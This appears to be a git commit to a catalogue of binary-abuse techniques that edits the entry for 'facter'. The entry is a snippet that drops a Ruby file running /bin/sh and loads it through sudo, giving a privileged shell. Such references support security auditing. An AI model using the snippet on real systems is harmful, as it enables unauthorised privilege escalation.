Use the sudo VAR=... syntax instead of using -E

This commit is contained in:
Andrea Cardaci
2020-06-10 22:56:05 +02:00
parent b92d9e0ec2
commit 9aa7ec842e
3 changed files with 3 additions and 3 deletions

View File

@@ -9,5 +9,5 @@ functions:
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF sudo -E facter
sudo FACTERLIB=$TF facter
---